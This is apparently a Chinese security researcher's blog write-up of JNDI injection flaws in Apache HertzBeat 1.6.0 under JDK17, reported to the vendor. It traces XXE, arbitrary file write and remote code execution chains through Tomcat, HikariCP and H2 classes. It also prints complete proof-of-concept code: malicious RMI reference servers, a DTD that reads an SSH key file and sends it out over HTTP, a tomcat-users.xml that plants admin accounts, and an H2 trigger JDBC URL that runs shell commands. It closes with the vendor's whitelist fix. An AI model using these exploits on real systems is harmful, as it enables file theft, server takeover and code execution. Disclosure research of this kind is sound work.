apache-hertzbeat 高版本jdk下jndi利用

0x01 简介

Apache HertzBeat (incubating) 是一个易用友好的开源实时监控告警系统,无需 Agent,高性能集群,兼容 Prometheus,提供强大的自定义监控和状态页构建能力。

0x02 漏洞介绍

image-20241219203438886

image-20241219203642574

这里我和springkill在1.6.0版本给官方报送了两次,一个是xxe和文件写入,另一个为远程命令执行,合并到一起。

0x03 漏洞分析

首先来看一下触发点,apacheHertzBeat后台是可以配置jmx去连接服务器获取服务器的各种配置信息的,也就是说我们可控jmx的连接配置。

org.apache.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private JMXConnector getConnectSession(JmxProtocol jmxProtocol) throws IOException {
......
String url;
if (jmxProtocol.getUrl() != null) {
url = jmxProtocol.getUrl();
} else {
url = JMX_URL_PREFIX + jmxProtocol.getHost() + ":" + jmxProtocol.getPort() + JMX_URL_SUFFIX;
}
......
JMXServiceURL jmxServiceUrl = new JMXServiceURL(url);
conn = JMXConnectorFactory.connect(jmxServiceUrl, environment);
connectionCommonCache.addCache(identifier, new JmxConnect(conn));
return conn;
}

这里会从jmxProtocol获取url,然后JMXConnectorFactory.connect进行连接。但是系统为jdk17,显然是不能加载远程class的,所以我们可以给予本地reference进行利用。

xxe analysis

​ 由于tomcat版本太高,导致beanFactory.noForceString无法在调用任意类的任意方法,但是找到了浅蓝师傅的MemoryUserDatabaseFactory来做xxe和文件写入。

org.apache.catalina.users.MemoryUserDatabaseFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
ra = ref.get("pathname");
if (ra != null) {
database.setPathname(ra.getContent().toString());
}

ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}

ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}

database.open();
if (!database.getReadonly()) {
database.save();
}

return database;
}
} else {
return null;
}
........

可以看到从ref获取到传递的值后,会调用database.open();如果readonly为false,则会调用database.save()。

org.apache.catalina.users.MemoryUserDatabase#open

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public void open() throws Exception {
this.writeLock.lock();

try {
this.users.clear();
this.groups.clear();
this.roles.clear();
String pathName = this.getPathname();

try {
ConfigurationSource.Resource resource = ConfigFileLoader.getSource().getResource(pathName);

try {
this.lastModified = resource.getLastModified();
Digester digester = new Digester();

try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var13) {
Exception e = var13;
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), e);
}

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this),

它根据路径名发起本地或者远程文件访问,并使用commons-digest解析返回的XML内容,所以这里可以进行XXE。

arbitrary file write analysis

如果org.apache.catalina.users.MemoryUserDatabaseFactory中readonly为 false,则调用 database.save()。

org.apache.catalina.users.MemoryUserDatabase#save

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
      if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
} else if (!this.isWritable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}

this.writeLock.lock();

try {
try {
FileOutputStream fos = new FileOutputStream(fileNew);

try {
OutputStreamWriter osw = new OutputStreamWriter(fos, StandardCharsets.UTF_8);

try {
PrintWriter writer = new PrintWriter(osw);

try {
writer.println("<?xml version='1.0' encoding='utf-8'?>");
writer.println("<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"");
writer.print(" ");
writer.println("xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"");
writer.print(" ");
writer.println("xsi:schemaLocation=\"http://tomcat.apache.org/xml tomcat-users.xsd\"");
writer.println(" version=\"1.0\">");
Iterator<?> values = null;

for(values = this.getRoles(); values.hasNext(); writer.println("/>")) {
Role role = (Role)values.next();
writer.print(" <role rolename=\"");
writer.print(Escape.xml(role.getRolename()));
writer.print("\"");
if (null != role.getDescription()) {
writer.print(" description=\"");
writer.print(Escape.xml(role.getDescription()));
writer.print("\"");
}
}

values = this.getGroups();
.......

​ 可以发现,从pathname获取到的文件然后拼接上System.getProperty(“catalina.base”)进行写入,写入的是tomcat配置用户文件。也就是说,你可以控制生成文件的位置,创建tomcat的后台用户。

tomcat下的二次注入去命令执行

当然,这些还不够,作为安全研究人员,我们不满足于此,经过深入的挖掘后,我发现了tomcat下的二次reference注入去绕过黑名单机制。

org.apache.hertzbeat.manager.Manager#init

1
2
3
public void init() {
System.setProperty("jdk.jndi.object.factoriesFilter", "!com.zaxxer.hikari.HikariJNDIFactory");
}

​ 在1.6.0中,过滤了com.zaxxer.hikari.HikariJNDIFactory,所以我们需要找一个替代的类或者有什么办法去绕过这个检测。

​ 最后发现在 tomcat 中发现 org.apache.naming.factory.FactoryBase,可导致二次引用注入,从而绕过针对 CVE-2023-51653 的修复,执行任意代码。

org.apache.naming.factory.FactoryBase#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public final Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (this.isReferenceTypeSupported(obj)) {
Reference ref = (Reference)obj;
Object linked = this.getLinked(ref);
if (linked != null) {
return linked;
} else {
ObjectFactory factory = null;
RefAddr factoryRefAddr = ref.get("factory");
if (factoryRefAddr != null) {
String factoryClassName = factoryRefAddr.getContent().toString();
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
Class<?> factoryClass = null;

NamingException ex;
try {
if (tcl != null) {
factoryClass = tcl.loadClass(factoryClassName);
} else {
factoryClass = Class.forName(factoryClassName);
}
} catch (ClassNotFoundException var14) {
ClassNotFoundException e = var14;
ex = new NamingException(sm.getString("factoryBase.factoryClassError"));
ex.initCause(e);
throw ex;
}

try {
factory = (ObjectFactory)factoryClass.getConstructor().newInstance();
} catch (Throwable var15) {
......
}
} else {
factory = this.getDefaultFactory(ref);
}

if (factory != null) {
return factory.getObjectInstance(obj, name, nameCtx, environment);
} else {
throw new NamingException(sm.getString("factoryBase.instanceCreationError"));
}
}
} else {
return null;
}
}

这里我们可以控制工厂,并赋值给一个可利用的工厂,工厂会自动初始化,然后调用factory.getObjectInstance,这样就足够进行二次引用利用了。这里我们将工厂改为com.zaxxer.hikari.HikariJNDIFactory,即绕过过滤检测,触发HikariJNDIFactory加载org.h2.Driver,从而触发任意代码执行漏洞。

com.zaxxer.hikari.HikariJNDIFactory#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public synchronized Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj instanceof Reference && "javax.sql.DataSource".equals(((Reference)obj).getClassName())) {
Reference ref = (Reference)obj;
Set<String> hikariPropSet = PropertyElf.getPropertyNames(HikariConfig.class);
Properties properties = new Properties();
Enumeration<RefAddr> enumeration = ref.getAll();

while(true) {
RefAddr element;
String type;
do {
if (!enumeration.hasMoreElements()) {
return this.createDataSource(properties, nameCtx);
}
......
}

com.zaxxer.hikari.HikariJNDIFactory#createDataSource

1
2
3
4
private DataSource createDataSource(Properties properties, Context context) throws NamingException {
String jndiName = properties.getProperty("dataSourceJNDI");
return (DataSource)(jndiName != null ? this.lookupJndiDataSource(properties, context, jndiName) : new HikariDataSource(new HikariConfig(properties)));
}

这里调用createDataSource创建jdbc连接,从而触发h2加载任意代码。

但是在jdk17上是没有js引擎,所以h2调用js是走不通的。

h2withoutjs 执行代码

这里通过分析h2的流程成功找到不需要js也能执行的办法。

H2 在解析 init 参数时,会对 CreateTrigger 进行 LoadFromsource 特殊处理,根据内容开头判断是否由 Javasc Ript 引擎执行,如果以 //javascript/Nashorn/groovy 开头,则会编译 javascript/Nashorn /groovy引擎并执行。但根据我的研究,Create Trigger 时,我可以直接控制生成 Trigger 的代码,这样在不需要任何引擎都可以执行任何代码,在不限制 JDK 版本的情况下,无疑是巨大的风险。

org.h2.command.ddl.CreateTrigger#update

image-20240914153129449

在创建JDBC连接的时候,如果设置了Trigger,那么就会创建TriggerObject。这里的Triggersource,TriggerName,我们都可以控制。

org.h2.schema.TriggerObject#setTriggerAction

image-20240914153619309

完成后会加载到这里。

org.h2.util.SourceCompiler#getClass

image-20240914154043556

就是对一些类进行处理,最后利用Javac编译出恶意的Java代码。

image-20240914154332990

将恶意的Trigger和Class放入Map中,最后使用LoadClass来加载这个恶意类。

image-20240914154806170

这样就可以通过jmx返回一个二次reference去打jdbc利用。

0x04 环境搭建以及复现

搭建

​ 这里我们可以直接在官网下载对应的二进制版本,https://hertzbeat.apache.org/zh-cn/docs/download,然后在bin目录下执行 startup.sh启动即可。

​ 访问http://localhost:1157开始,默认账户:admin/hertzbeat

xxe

恶意 RMIServer Ref。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
public static ResourceRef exploit() {

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8080/exp.xml"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);

Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");

Context context = new InitialContext(props);

context.bind("Object", exploit());

context.close();
}
}

恶意的ext.dtd

1
<!ENTITY % bbb SYSTEM "file:///Users/snake/.ssh/id_rsa.pub"><!ENTITY % ccc "<!ENTITY &#37; ddd SYSTEM 'http://127.0.0.1:8080?p=%bbb;'>">

恶意的exp.xml

1
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://127.0.0.1:8080/ext.dtd">%aaa;%ccc;%ddd;]>

然后使用python创建一个http服务

在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填入service:jmx:rmi:///jndi/rmi://ip:port/object,http返回

包会读取文件内容。

服务报错,然后读取文件内容。

1
Failed to retrieve RMIServer stub: javax.naming.NamingException [Root exception is org.xml.sax.SAXParseException; systemId: http://127.0.0.1:8080?p=ssh-rsa%20XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXxx=%20XXXXXXXXXXXXXX@qq.com; lineNumber: 1; columnNumber: 3; The markup declarations contained or pointed to by the document type declaration must be well-formed.]

arbitrary file write poc

恶意 RMIServer Ref。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
public static ResourceRef exploit() {

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "/tmp/deadbeef"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}

在/API/Monitor/Detect接口提交数据,也就是监控项里的JVM虚拟机,填写service:jmx:rmi:///jndi/rmi://ip:port/object

提交后会在/tmp中生成DeadBeef。

如果本地环境变量里有catalina.base,我们就可以写入Tomcat-users.xml来接管Tomcat。

恶意RMIServer Ref。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class rmiref {
private static String command = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
public static ResourceRef exploit() {

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}

tomcat-users.xml

1
2
3
4
5
6
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>
<user username="admin" password="123456" roles="manager-script"/>
</tomcat-users>

然后使用python创建一个http服务。

org.apache.catalina.users.MemoryUserDatabase#save

1
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);

假设catalina.base=/usr/apache-tomcat-8.5.73/,pathname=http://127.0.0.1:8888/../conf/TOMCAT-users.xml,它们形成的文件路径

是/usr/apache-tomcat-8.5.73/http:127.0.0.1:8888/../conf/tomcat-ssesers.xml,getpaRentfile获取/usr/apache-tomcat-

8.5.73/http:127.0.0.1:8888/../conf/,这个在Windows下是没问题的,但是如果是Linux系统,则需要目录是必须存在的。

rce

由于org.apache.naming.factory.FactoryBase是抽象类,这里factory就填它的子类就行了。

它的四个子类。

1
2
3
4
org.apache.naming.factory.EjbFactory
org.apache.naming.factory.ResourceEnvFactory
org.apache.naming.factory.ResourceFactory
org.apache.naming.factory.TransactionFactory

构造恶意引用并使其在 JNDI 连接时返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class refrce {
public static ResourceRef exploit() throws Exception {
String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,"","",true,"org.apache.naming.factory.ResourceFactory",null);
ref.add(new StringRefAddr("factory", "com.zaxxer.hikari.HikariJNDIFactory"));
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));

ref.add(new StringRefAddr("jdbcUrl", url));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1097");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}

在**/API/Monitor/Detect接口提交数据,填写service:jmx:rmi:///jndi/rmi://ip:port/object**,即可执行命令。

同理,在tomcat下的org.apache.naming.factory.LookupFactory也存在二次调用,本来准备下版本交的,可是官方已经设置成白名单了,也就无法利用这个点来进行绕过了。

利用LookupRef来进行二次注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.LookupRef;
import org.apache.naming.ResourceRef;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Properties;

public class refrce {
public static Object exploit() throws Exception {
String url= "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER UNAM4 BEFORE SELECT ON\nINFORMATION_SCHEMA.TABLES AS $$ void UNAM4() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
LookupRef ref = new LookupRef("javax.sql.DataSource", "org.apache.naming.factory.LookupFactory", null, null);
ref.add(new StringRefAddr("factory", "com.zaxxer.hikari.HikariJNDIFactory"));
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));

ref.add(new StringRefAddr("jdbcUrl", url));
return ref;
}
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
props.put(Context.PROVIDER_URL, "rmi://localhost:1099");
Context context = new InitialContext(props);
context.bind("Object", exploit());
context.close();
}
}

0x05 修复方式

官方直接使用暴力方式进行修复,采用白名单。

1
2
3
4
5
6
7
8
9
10
11
private static final String[] WHITE_PRE_LIST = new String[]{
"java.",
"javax.management.",
"org.apache.hertzbeat.",
"org.springframework.util.",
"com.sun.",
"sun.",
"org.slf4j.",
"jdk.",
"org.w3c.dom."
};

只允许以上面开头的类进行加载。

reference

https://lists.apache.org/thread/h8k14o1bfyod66p113pkgnt1s52p6p19

https://tttang.com/archive/1405/


apache-hertzbeat 高版本jdk下jndi利用
https://unam4.github.io/2025/12/01/apache-hertzbeat-高版本jdk下jndi利用/
作者
unam4
发布于
2025年12月1日
许可协议